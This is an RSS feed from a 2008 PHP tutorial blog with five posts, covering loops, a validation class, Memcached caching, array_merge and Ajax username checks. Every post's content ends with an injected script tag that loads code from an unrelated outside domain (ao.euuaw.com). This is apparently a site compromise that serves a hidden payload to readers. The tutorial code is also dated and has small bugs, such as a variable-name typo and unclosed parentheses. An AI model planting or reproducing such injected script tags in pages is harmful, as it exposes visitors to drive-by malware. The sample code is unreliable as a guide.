<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dawnerd &#187; PHP</title>
	<atom:link href="http://dawnerd.com/category/articles/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://dawnerd.com</link>
	<description>CSS / JavaScript / HTML5</description>
	<lastBuildDate>Sun, 06 Jun 2010 23:18:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Starting PHP: Looping Basics</title>
		<link>http://dawnerd.com/articles/php/starting-php-looping-basics/</link>
		<comments>http://dawnerd.com/articles/php/starting-php-looping-basics/#comments</comments>
		<pubDate>Fri, 15 Aug 2008 03:06:41 +0000</pubDate>
		<dc:creator>dawnerd</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[basics]]></category>
		<category><![CDATA[loops]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://dawnerd.com/?p=33</guid>
		<description><![CDATA[I was searching the internet for PHP tutorials and quickly found out that the majority of are badly written, have errors in the example code, contain security holes, or are just outright outdated. This makes learning PHP hard for someone just starting out. The question I get a lot is about looping through arrays. The [...]]]></description>
			<content:encoded><![CDATA[<p>I was searching the internet for PHP tutorials and quickly found out that the majority of are badly written, have errors in the example code, contain security holes, or are just outright outdated. This makes learning PHP hard for someone just starting out. The question I get a lot is about looping through arrays. <span id="more-33"></span></p>
<p>The following are the three possible ways to loop through data, with an example showing how I use them.</p>
<p><strong>The While Loop</strong><br />
The while loop is useful when running loop on data with an unknown size; a database result for example. here&#8217;s an example:</p>
<pre>
<code>&lt;?php
$sql = "SELECT `userid` FROM `users`";
$query = mysql_query($sql);
while($row = mysql_fetch_array($query))
{
     echo $row['userid'].'&lt;br/&gt;';
}
?&gt;</code>
</pre>
<p>The above example will continue to check $row to see if it returns false. Each call to <code>mysql_fetch_array()</code> will increment the key. If you ran <code>mysql_fetch_array()</code> outside of the loop, you would get a full array of all the results at once. For example:</p>
<pre>
<code>Array(
     0 =&gt; Array( 'userid' =&gt; 1),
     1 =&gt; Array( 'userid' =&gt; 2)
)</code>
</pre>
<p>In this case, you could simply call <code>$row[0]['userid']</code>. But again you don&#8217;t know how many results there are so hand coding all the different keys would be just silly.</p>
<p><strong>The For Loop</strong><br />
Just like a while loop, a for loop runs until the expression returns false. Example:</p>
<pre>
<code>&lt;?php
$array = array('copper','gold','silver');
for($i=0;$i&lt;count($array);$i++)
{
     echo $array[$i].'&lt;br/&gt;';
}
?&gt;</code>
</pre>
<p>For loops are probably the hardest types of loops for php beginners to grasp. The reason behind that is because of the expression used to keep the loop running. So what does <code>$i=0;$i&lt;count($array);$i++</code> mean? When the loop is first started, the variable <code>$i</code> is set to 0, which happens to be the first key in the <code>$array</code> variable. Next, it checks if the <code>$i</code> variable is less than the total number of items in the array. If the count is greater than <code>$i</code>, the loop continues. Lastly, <code>$i</code> is incremented after one each loop. So after the first run, <code>$i</code> becomes 1, rather than 0.</p>
<p>We have 3 items in the array, so in english, that loop would look like:</p>
<pre>
<code>i is zero.
if i less than three continue, otherwise break the loop.
add one to i.</code>
</pre>
<p>The <code>$i</code> variable is accessible anywhere in the loop. It may seem that <code>$i</code> is incremented before any code in the loop is processed, but in reality, it is incremented after the code has been executed.</p>
<p>For loops are also extremely fast for small sets of data. Just keep that in mind if all you have to do are small loops and getting the length of an array or number is no issue.</p>
<p><strong>The Foreach Loop</strong><br />
This last method of looping is my favorite; mostly because it&#8217;s easy to follow. Take for example:</p>
<pre>
<code>&lt;?php
$array = array('bob','joe','billy','rob');
foreach($array as $key =&gt; $value)
{
     echo $key.': '.$value.'&lt;br/&gt;';
}
?&gt;</code>
</pre>
<p>This will output:</p>
<pre>
<code>0: bob
1: joe
2: billy
3: rob</code>
</pre>
<p>The foreach loop takes each item in the array starting from the left and assigns it a key, or unique number; starting from 0. This is always the case. However, you can choose not to get the key of the current array item by not using the $key part of the foreach loop. Instead, the loop would look like:</p>
<pre>
<code>$array = array('bob','joe','billy','rob');
foreach($array as $value)
{
     echo $value.'&lt;br/&gt;';
}</code>
</pre>
<p>Now that you read this, the only way to make it stick is to put it to practice. If you need help trying to make something, here&#8217;s a script you should try to make on your own:</p>
<pre>
<code>Make an array of your favorite movies.
Each movie should contain the top 5 or more actors.
Make the script loop through and output each movie and the first three
actors, omitting any others.</code>
</pre>
<p>If you need a little kickstart here you go:</p>
<pre>
<code>&lt;?php
$movies = array(
                    array('The Matrix',
                         array('Keanu Reeves',
                              'Laurence Fishburne',
                              'Carrie-Anne Moss',
                              'Hugo Weaving
                          )
                     )
);</code>
</pre>
<p>Yes, you will need to nest the loops. I&#8217;m sure you can figure it out. Once you get this, I have a good feeling everything else will be a breeze.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://dawnerd.com/articles/php/starting-php-looping-basics/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Open Source PHP Data Validation Class</title>
		<link>http://dawnerd.com/articles/php/open-source-php-data-validation-class/</link>
		<comments>http://dawnerd.com/articles/php/open-source-php-data-validation-class/#comments</comments>
		<pubDate>Fri, 08 Aug 2008 01:32:55 +0000</pubDate>
		<dc:creator>dawnerd</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[data validation]]></category>
		<category><![CDATA[open source]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[validation]]></category>

		<guid isPermaLink="false">http://dawnerd.com/?p=26</guid>
		<description><![CDATA[I have created a PHP5 class that handles all POST and GET variables. It performs almost all of the validations functions you could need. In addition, it makes accessing the variables very convenient. Download here. Version 1.0 How To use: First, include the class and initiate it: &#60;?php include("validation.class.php"); $validation = new Validation; ?&#62; Optionally, [...]]]></description>
			<content:encoded><![CDATA[<p>I have created a PHP5 class that handles all POST and GET variables. It performs almost all of the validations functions you could need. In addition, it makes accessing the variables very convenient.<span id="more-26"></span><br />
<a href="http://labs.dawnerd.com/validation/validation-class.zip"><br />
Download here.</a> Version 1.0</p>
<p><strong>How To use:</strong><br />
First, include the class and initiate it:</p>
<pre>
<code>&lt;?php
include("validation.class.php");
$validation = new Validation;
?&gt;</code>
</pre>
<p><em>Optionally, you can use new Validation(false) to not parse all input data through the xss filter. This is not recommended.</em></p>
<p>Available functions are:</p>
<ul>
<li><code>xss($string)</code></li>
<li><code>email($string)</code></li>
<li><code>phone($string)</code></li>
<li><code>url($string)</code></li>
<li><code>db_prep($string)</code></li>
</ul>
<p>All of the above functions return a boolean value with the exception of <code>xss()</code> and <code>db_prep()</code>. Those two return a modified version of <code>$string</code>.</p>
<p>Here is an example of form validation:</p>
<pre>
<code>&lt;?php
$db_user = "";
$db_pass = "";
$db_serv = "";
$db_name = "";
include("../database/database.class.php");
$db = new Database($db_user,$db_pass,$db_serv,true);
if(!$db){die($db-&gt;getErrorMessage());}

include("validation.class.php");
$validation = new Validation;

echo "SELECT * FROM users WHERE user='".$validation-&gt;db_prep($validation-&gt;database_input)."'";
echo "&lt;br&gt;";

if($validation-&gt;email($validation-&gt;email)) echo "valid email";
else echo "not valid email";
echo "&lt;br&gt;";

if($validation-&gt;phone($validation-&gt;phone)) echo "valid phone";
else echo "not valid phone";
echo "&lt;br&gt;";

if($validation-&gt;url($validation-&gt;url)) echo "valid url";
else echo "not valid url";
echo "&lt;br&gt;";
?&gt;
&lt;form action="test.php" method="post"&gt;
	&lt;p&gt;database input: &lt;input type="text" name="database_input" id="database_input" value="&lt;?=$validation-&gt;database_input;?&gt;" /&gt;&lt;/p&gt;
    &lt;p&gt;email: &lt;input type="text" name="email" id="email" value="&lt;?=$validation-&gt;email;?&gt;" /&gt;&lt;/p&gt;
    &lt;p&gt;phone: &lt;input type="text" name="phone" id="phone" value="&lt;?=$validation-&gt;phone;?&gt;" /&gt;&lt;/p&gt;
    &lt;p&gt;url: &lt;input type="text" name="url" id="url" value="&lt;?=$validation-&gt;url;?&gt;" /&gt;&lt;/p&gt;
    &lt;p&gt;&lt;input type="submit" name="test" id="dtest" value="Test" /&gt;&lt;/p&gt;
&lt;/form&gt;</code>
</pre>
<p>A demo of the above test can be <a href="http://labs.dawnerd.com/validation/test.php">found here</a>.</p>
<p>As you can see from the example above, instead of calling <code>$_GET['username']</code>, you can now call <code>$validation-&gt;username</code> without worrying about the data being &#8216;dirty&#8217;.</p>
<p>If you need help using this class, post a comment and I will gladly help you out. Also remember that this class is licensed under the <a href="http://dawnerd.com/license/">Buy Me Dew License</a>.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://dawnerd.com/articles/php/open-source-php-data-validation-class/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Optimizing Dynamic Content With Memcached</title>
		<link>http://dawnerd.com/articles/php/optimizing-dynamic-content-with-memcached/</link>
		<comments>http://dawnerd.com/articles/php/optimizing-dynamic-content-with-memcached/#comments</comments>
		<pubDate>Sat, 14 Jun 2008 06:41:11 +0000</pubDate>
		<dc:creator>dawnerd</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[memcached]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[optimization]]></category>
		<category><![CDATA[performance]]></category>

		<guid isPermaLink="false">http://dawnerd.com/?p=16</guid>
		<description><![CDATA[I have posted before on how to use Memcached to reduce database load, but I failed to give a sound example. Hopefully this will rectify that. Please read this post to catch up if you haven&#8217;t already. otherwise I will assume you have experience with Memcached. In this scenario, you have a custom built blog [...]]]></description>
			<content:encoded><![CDATA[<p>I have posted before on how to use <a href="http://www.danga.com/memcached/">Memcached</a> to reduce database load, but I failed to give a sound example. Hopefully this will rectify that. Please <a href="http://dawnerd.com/php/2008/05/07/using-memcached-to-reduce-database-load/">read this post</a> to catch up if you haven&#8217;t already. otherwise I will assume you have experience with Memcached.<span id="more-16"></span></p>
<p>In this scenario, you have a custom built blog application that has a section with the latest posts. Instead of constantly pulling this text from the database or saving the output to text files, which can be slow, saving the test into memory may be the best solution.</p>
<p>Take the following code:</p>
<pre>
<code>$sql = "SELECT * FROM posts ORDER BY date LIMIT 5";
$query = mysql_query($sql);
if(mysql_num_rows($query)
{
     while($row=mysql_fetch_array($query))
     {
          echo "&lt;h2&gt;".$row['title']."&lt;/h2&gt;";
     }
}</code>
</pre>
<p>Lets make that faster.</p>
<pre>
<code>$memcache = new Memcache;
$memcache-&gt;connect('memcache_host', 11211);
if(!$memcache-&gt;get('recent_posts'))
{
     $sql = "SELECT * FROM posts ORDER BY date LIMIT 5";
     $query = mysql_query($sql);
     $post_array = array();
     if(mysql_num_rows($query)
     {
          while($row=mysql_fetch_array($query))
          {
               $post_array[] = $row;
          }
     }
    //recent expires in one hour
    $memcache-&gt;set('recent_posts',$post_Array, 0, 3600);
}

$recent_posts = $memcache-&gt;get('recent_posts');
for($i=0;$i&lt;count($recent_posts);$i++)
{
     echo "&lt;h2&gt;".$recent_posts[$i]['title']."&lt;/h2&gt;";
}</code>
</pre>
<p>You won&#8217;t notice a large increase if your site is small, but if you have a busy site and you have a bunch of spare ram, you might as well put it to use. In the future I will show you some more examples of real-world usage of <a href="http://www.danga.com/memcached/">Memcached</a>.<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://dawnerd.com/articles/php/optimizing-dynamic-content-with-memcached/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Simple Solution To Minify Data From Different Locations</title>
		<link>http://dawnerd.com/articles/php/simple-solution-to-minify-data-from-different-locations/</link>
		<comments>http://dawnerd.com/articles/php/simple-solution-to-minify-data-from-different-locations/#comments</comments>
		<pubDate>Wed, 04 Jun 2008 18:32:38 +0000</pubDate>
		<dc:creator>dawnerd</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[array]]></category>
		<category><![CDATA[data collection]]></category>
		<category><![CDATA[database]]></category>

		<guid isPermaLink="false">http://dawnerd.com/?p=13</guid>
		<description><![CDATA[Lets say you use a forum software and a blogging software as the backend of your website. Lets also say that you want to create profiles for your members, but neither the forum or the blog software have the support you in, and in addition you need info from both the blog and the forum. [...]]]></description>
			<content:encoded><![CDATA[<p>Lets say you use a forum software and a blogging software as the backend of your website. Lets also say that you want to create profiles for your members, but neither the forum or the blog software have the support you in, and in addition you need info from both the blog and the forum. <span id="more-13"></span></p>
<p>Instead of having two different arrays of data to show a user&#8217;s information, you can combine both arrays together with <code>array_merge()</code>. This is one of my favorite php functions as it really saves you hassles.</p>
<p>This:</p>
<pre>
<code>echo $forum_array['name']." - ".$blog_array['blogpost_count'];</code>
</pre>
<p>Can become:</p>
<pre>
<code>echo $user['name']." - ".$user['blogpost_count'];</code>
</pre>
<p>Not only is it already shorter, but there is less to have to remember. All the data is right there. And to do that all you would need to do is:</p>
<pre>
<code>$user = array_merge($forum_array,$blog_array);</code>
</pre>
<p>Of course <code>array_merge()</code> can be used for other things as well, such as combining POST and GET data into a single array (which hopefully you would run an XSS check on it all).<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://dawnerd.com/articles/php/simple-solution-to-minify-data-from-different-locations/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ajax Username Validation with The Most Popular JS Frameworks</title>
		<link>http://dawnerd.com/articles/php/ajax-username-validation-with-the-most-popular-js-frameworks/</link>
		<comments>http://dawnerd.com/articles/php/ajax-username-validation-with-the-most-popular-js-frameworks/#comments</comments>
		<pubDate>Fri, 23 May 2008 21:59:02 +0000</pubDate>
		<dc:creator>dawnerd</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[prototype]]></category>
		<category><![CDATA[user interface]]></category>
		<category><![CDATA[validation]]></category>

		<guid isPermaLink="false">http://dawnerd.com/?p=12</guid>
		<description><![CDATA[It seems like every site these days uses some form of Ajax to validate form fields. One thing I cannot stand is websites that do not use Ajax to check usernames (or other data) as you type. Because a lot of sites are lacking this one feature, I thought it would be nice to throw [...]]]></description>
			<content:encoded><![CDATA[<p>It seems like every site these days uses some form of Ajax to validate form fields. One thing I cannot stand is websites that do not use Ajax to check usernames (or other data) as you type. Because a lot of sites are lacking this one feature, I thought it would be nice to throw together a few examples of how to do it correctly with the most popular of JS frameworks. <span id="more-12"></span></p>
<p>You can view the source of the examples to see how they are done.</p>
<p><strong><a href="http://labs.dawnerd.com/ajaxusercheck_prototype/">Ajax Username Validation with Prototype</a></strong><br />
<strong><a href="http://labs.dawnerd.com/ajaxusercheck_jquery/">Ajax Username Validation with jQuery</a></strong></p>
<p><em>note: more examples will come in time. I am currently reading the mootools, dojo, and mochikit.</em></p>
<p>The only PHP code you will need is as follows:</p>
<pre>
<code>include("../db.php");
$name = ereg_replace("[^A-Za-z0-9-]", "",mysql_real_escape_string(strip_tags(trim($_GET['name']))));
if(empty($name)) die();

$sql = "SELECT `username` FROM `common_usernames` WHERE `username` = '$name'";
$query = mysql_query($sql,$db);

if(!mysql_num_rows($query))
{
	die('&lt;span style="font-weight:bold;color:green;font-size:12px;"&gt;'.$name.' is available!&lt;/span&gt;');
}
else
{
	die('&lt;span style="font-weight:bold;color:red;font-size:12px;"&gt;'.$name.' is taken!&lt;/span&gt;');
}</code>
</pre>
<p><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://dawnerd.com/articles/php/ajax-username-validation-with-the-most-popular-js-frameworks/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
